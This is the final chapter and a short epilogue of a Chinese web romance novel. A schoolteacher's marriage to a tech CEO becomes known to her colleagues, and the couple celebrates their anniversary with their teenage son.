“选修课安排在学校礼堂,江总一起过去吧。” 江明羧微笑点头。 正在这时,学校门口走进来了七八个学生,为首一位格外醒目,不仅因为他高出旁人半个头的身量,更因为在一众蓝白校服中,唯独他穿着件醒目的黑色连帽衫。 准备离开的金苒见状突然停下脚步:“等一下!” 空气霎时变得寂静,当着众人的面,金苒大步走到一众学生面前,表情严肃掏出小本本:“哪个班的,怎么没穿校服?” 江许黎身体僵住。 同行的小弟们也僵住。 糟糕,他们已经故意擦时间进来,怎么还遇到了教导主任! 知道江许黎和金苒身份的毕竟少数,这会儿,小弟们内心只有紧张,还有小弟小声议论:“黎哥已经被抓多少次了?” “八次,好像都是咱们教导主任抓的。” 听到悄悄话的江许黎脸色忽红忽白,一抬头,对上金苒调笑的眼神,再看不远处某个熟悉的身影,只觉得脚趾抓地。 被后妈抓住违反纪律便算了,还被他爸给亲眼目睹,他的运气怎么这么背呢! 越想越是后悔,最后一咬牙,一跺脚,竟然拉住金苒的衣袖,压低声音求饶:“妈,能不能给我个面子。” 金苒:“……” 金苒……金苒差点笑出声! 十六岁高中生偷偷摸摸攀关系的样子,着实有点儿好笑。她恍惚间想起最开始认识时,少年冷着脸,酷酷对她要求“装陌生人”,现在竟然全然变了一副场景。 嗯,有一点点爽是怎么回事? 然而江许黎一点儿不觉得尴尬,反而说出口后愈发放弃面子,面子值多少钱,能让他保持大哥的脸面吗:“下次我保证再也不敢不穿校服了……” 见金苒不为所动,他不得不放出绝招:“你看上的那个游戏机,我给你买!” 金苒挑了挑眉,终于在江许黎紧张的视线中做出反应——她抬起手,动作自然而然拂去少年肩膀上的灰尘。 “这次就算了,下次做好人好事,记得说清楚。” 她其实本来就没有打算扣分,而且今天出门的时候,江许黎是穿着校服出门的,如今校服不见踪影,大概是给了其他学生。 闻言,江许黎松了口气。 等他在小弟们佩服的目光中离开,一路回到教学楼的地界,远远看到三班门口有一个女生拿着校服在等待:“江许黎谢谢你。” 江许黎提醒她:“你上次说的那个语文好作文……” “哦哦,我这就拿给你。” 江许黎满意了,又没有扣分又拿到资料,今天真是幸运的一天。 另一边,选修课在礼堂开课。 江明羧的课程是《明技企业创新实践课》,尚未开始,下面已经坐满了听课的“学生”。 既有学校学生也有老师,毕竟这样的机会可不多得,讲课的是明技的总裁,白手起家的商业天才,年纪轻轻就把企业做到了商业龙头,想必用不了多少年还能登上富豪榜。 当然,也有一部分人是单纯来看热闹的。 金苒便听到旁边的几位同事在八卦江明羧:“不知道这位江总有没有结婚。” “听说已经结了,另一半是个有钱的大美人,很好看!” “多好看?有咱金老师好看吗?” “这个的话,”那位同事仔细看了几眼金苒,“我觉得应该还是金老师好看。” 最后几人也没有争论出结果,等到送花感谢的环节,他们居然商量让金苒代表全体师生送花:“如果江总看到金老师呆住,就说明金老师更漂亮!” 金苒:“……” 江明羧站在目光所向的高台。 他今天穿着一件较为正式的西装,显得身形颀长,讲课时神色沉静,内容深进浅出,浑身透露出成熟睿智的气质,让人深深为他折服。 就连捧着花束上台鲜花的金苒也有些被吸引。 她见过家中逗猫做饭的江明羧,见过坐在办公室批改公务的江明羧,这还是第一次见到站在讲台上侃侃而谈的江明羧。 就像一柄出鞘的名剑,锋芒毕露。 不过再喜欢,也抵挡不住心里重重哼了声。 ——这男人今天和开屏的孔雀似的,是故意的吧。 面上微笑保持不变,金苒将手中花束递过去,江明羧也仅是礼貌颔首,前后不超过十几秒,金苒自认没有什么问题,但回到座位后,同事突然激动地拽她袖子:“天啊!江总刚才对你笑了!他全程都板着脸,就对你笑了!” “你看错了吧。” “绝对没有!”同事信誓旦旦,金苒只好坚决咬定不可能,突然,同事想到什么,倒吸凉气,“难道他想潜规则你吧?!” 金苒为某人解释:“江总应该不是这种人。” “哎呀,金老师你可小心点,他们这些富豪最会当面一套背后一套……” 话音未落,一片阴影笼罩过来,讲完课的江明羧不知为何没有离开,而是来到她们面前,见状,那位同事的碎碎念戛然而止:“江、江总?!您怎么来了……” 金苒也没有料到男人会出现,心里逐渐有个猜测。 果不其然,下一秒江明羧开口:“我找我太太说几句话。” 太太? 什么太太? 大家都懵了,江总的太太和他们有什么关系啊?还是刚才那位老师,小心翼翼问:“不知道江总的太太是?” 江明羧仿佛没有听到金苒同事们吐槽他的话,神色自若地牵起金苒的手,开诚布公:“金苒,金老师是我的太太。” 随后,面对众人的齐齐震惊,他真诚道:“抱歉,因为我的工作性质原因,金老师不好和你们表明身份,并非有意隐瞒。” 这一天,无论是对于金苒,还是金苒的同事们,都是一个意想不到的一天。 他们的同事,和他们朝夕相处的小金老师,居然是江总的太太! 你问哪 个江总?除了明技的总裁还能有哪个江总能被称为江总的! 而且江总和他们道歉了,还邀请他们参加明技每年的科技开放日,这可太魔幻了吧! 有人暗自酸言酸语,说金苒是豪门太太还瞒着他们,一点也不真诚。 可惜其他人不是傻子,当场就反驳:“人家江总都说了是因为他的原因,要我说就是因为有像你们这样背后嚼舌根,不怀好意的人,人家才不敢暴露身份。” 至于造谣金苒靠人脉才当上教导主任,大家都懒得分半分眼神。金苒从入职以来做过的事情有目共睹,就算靠人脉怎么了,给你人脉你也烂泥扶不上墙! 不过:“我记得金老师说她老公性.冷淡来着?” “你记错了,分明是生完一胎后.性.无能!” “啊?我怎么记得是……” 那日选修课结束后,金苒被四周灼热的目光盯得头皮发麻,见江明羧转身要走,几乎是条件反射地跟了上去。 至于江明羧是如何听说了那些传言,又身体力行证明自己并非无能,那便是后话了。 身份暴露后,金苒的生活其实和之前没有什么区别,除了同事们更加爱和她提某些消息。 六月,草长莺飞,文承中学第一批优秀老师拿到基金会的海外研修基金,在明技的帮助下,赴海外研习深造。 徐珍因为年限不够,错失良机,抱着金苒的肩膀哇哇抱怨,当然她只是单纯抱怨,因为研修基金不只有一年,等到过几年她便能够申请。 金苒也知道如此,便顺着话题安慰了会儿,徐珍心情很快好转,很是感动会陪伴自己的好友,于是表示要请客吃饭。 结果金苒露出为难的神色。 徐珍眯起眼睛:“不要要告诉我你有事,我们都一个月没聚了!” 金苒面露歉意,但还是开口:“江明羧说今天是我们的结婚纪念日,想好好庆祝一下,小黎还为此是准备表演节目。” 徐珍还能怎么办,在老公和孩子面前,她这个饭搭子彻底完败! …… 金苒回到家时,天色已见晚霞,前路,江许黎插着兜,正百无聊赖站在别墅门口踢地上的石子,看到她出现,立刻站直身体。 “咳,等会儿你闭上眼睛,我牵着你进去。” 这场结婚纪念日从头到尾她都没有参与,是两位男士策划的,而这样的要求,大概是有什么惊喜要给她。 就是不知道这个环节是大江还是小江想出来的。 金苒很是听话地闭上眼,然后把手交给江许黎,感觉到扶着她的力度很轻很轻,她有些想笑,别看江许黎面上狂拽酷,实际和平日根本没有和女孩子打过交道,也就不知道女孩的手虽然软,但也不是什么一碰就碎的瓷器。 两人一步一步走进院子。 推开门的那一刻,江许黎松开手,并在背后轻轻推了她一下。 金苒有所感地睁开眼睛。 入眼满目芬芳,别墅院子的小径上铺满了花瓣,两侧摆放一长排的蜡烛,烛光在微风中轻轻摇曳,勾勒出一条温暖的光路。 江明羧就站在路的尽头,手里捧着一束她喜欢的玫瑰,晚霞落在他肩头,将轮廓镀上一层灿烂的温柔。 他朝她伸出手。 钢琴声应景响起,不知道什么时候,江许黎已经坐在钢琴前,他穿着和父亲同色的衣服,青涩脸庞此刻是难得的认真。 指尖点击,宛转悠扬的音乐源源不断流淌出来,是EdSheeran的《Perfect》,干净得像被晨露洗漱过的声音,如同最真挚的低语。 Causewewerejustkidswhenwefellinlove Notknowingwhatitwas Iwillnotgiveyouupthistime Butdarling,justkissmeslow,yourheartisallIown Andinyoureyesyoureholdingmine.[1] 金苒笑起来。 她不是一个轻易动容的人。 或者说,她其实有点儿冷慢。 那些和平落幕的感情,成年后毅然离开家的决绝,未尝不是在用疏离筑起一道墙。 这么多年,她也习惯了将情绪妥帖收进心底,可此刻,眼眶发烫的触感却骗不了人,她突然想踏出一步,就像第一次见面时,她奔向他的坚定。 尽头处,江明羧张开胳膊,接住了自己横冲直撞的妻子。 他能感受到她的感动,而他又何尝是平静的。 有时候,江明羧甚至有一种错觉,现在的生活美好得像一场稍纵即逝的梦。于是一个又一个半夜,或是晨曦刚漫进窗帘的清晨,他总会下意识侧过头,看向身旁熟睡的人。 直到望见她微蹙的眉头、均匀的呼吸,指尖轻轻碰过她的发鬓,才能确认这份真实。 他不知道美梦何时会醒,甚至在金苒说过魏雅的特别之后,他曾瞒着她,找到那个女人。 彼时对方正要带着弟弟去国外看病,同行的是陈家那位小陈总,他沉默了许久,询问她让金苒永远留下来的条件。 那个叫魏雅的女人脸上露出了茫然,显然并不明白,但或许是看他状态不对,即便不知道他在说什么,还是一字一句道:“金小姐是我的朋友,她会一直在的。” 后来江明羧想,如果真的有一天,她真的要离开,他或许会痛,却也会笑着松开手。 但在此之前,他更愿意用各种“卑劣”的网子,把她牢牢网在自己的世界。 “金老师,结婚纪念日快乐。” 金苒眼睛红红的,像只兔子似的:“只有一句快乐?” 江明羧摇头,然后拿出一枚戒指戴到她的手上。 不同于之前的钻戒,这次的戒指是江明羧专门定制,品牌有着每个人一辈子只能定制一枚的含义,他亲自过去,守着工匠敲完最后一道纹路,并在圈内雕刻下两人姓名的缩写。 “往后的每一个纪念日,我都会给你一枚戒指,等攒够八十枚,我会再送你一个礼物。” 闻言,快要感动哭的金苒破涕而笑,气得锤他:“你是故意的吧!八十年,送礼物还是送鱼钩?” 江明羧也笑起来,目光神情地看着她:“所以,金老师愿咬饵吗?” 回应他的,是金苒紧紧的拥抱。 世界上只有鱼会咬饵,而猎人,只会以身入局。 金苒想,八十年有多么长呢? 在这漫长的八十年岁月里,他们或许会在往后无数个清晨共享一杯热咖啡,或许会在飘雪的冬夜裹着同一条毛毯看电影,也会为了吃不吃凉这种小事而争吵,然后在某个瞬间相视一笑,感受着彼此体温相拥而眠。 余生未尽,请多指教。 那些未说尽的话,未走完的路,都藏在“余生”两个字里,等着时光慢慢写就。 至于未来怎么谱写? 则由未来的他们一起去见证吧! [正文完] —— —— —— “等等!” “你们两个是不是忘记了什么?” 十分钟后,弹完钢琴的江许黎站在热风中,额头汗如雨下,忍不住出声控诉。 金苒腻腻歪歪靠在江明羧怀里,闻声抬起头:“怎么,嫉妒我能抱你爸?” “谁嫉妒了!”江许黎跳脚,并一脸恶寒,“我又不是需要哄的小孩子。” 言外之意,金苒比小孩子还要小孩子。 金苒顿时哈哈大笑,她突然松开江明羧,在江许黎还没反应过来时,一个熊扑抱住对方:“你不要抱,我非抱你!” “啊啊啊啊啊!” 江明羧看着这一幕,眼底泛起温柔的笑意。 不过他没有多待,而是转身去了厨房,纪念日除了诗和远方,还有柴米油盐,他现在就要去准备他的柴米油盐了。 风中隐约传来女人和少年的吵吵闹闹。 “小气,让我抱一下怎么了!” “啊啊啊啊!热死了!” “好啊,我都没嫌你热你居然敢嫌弃我!” “江许黎,你是不是没洗头,臭死了!” “反正以后我想抱你就抱你,绝对不能反抗!” “凭什么?!” “因为你是我在这个世界上第一个儿子啊!” “……” 屋檐的鸟落下,又飞走了。 走的时候,它变成了一只没有耳朵的聋鸟—— (˙˙)—— [这次真的完了]【你现在阅读的是 】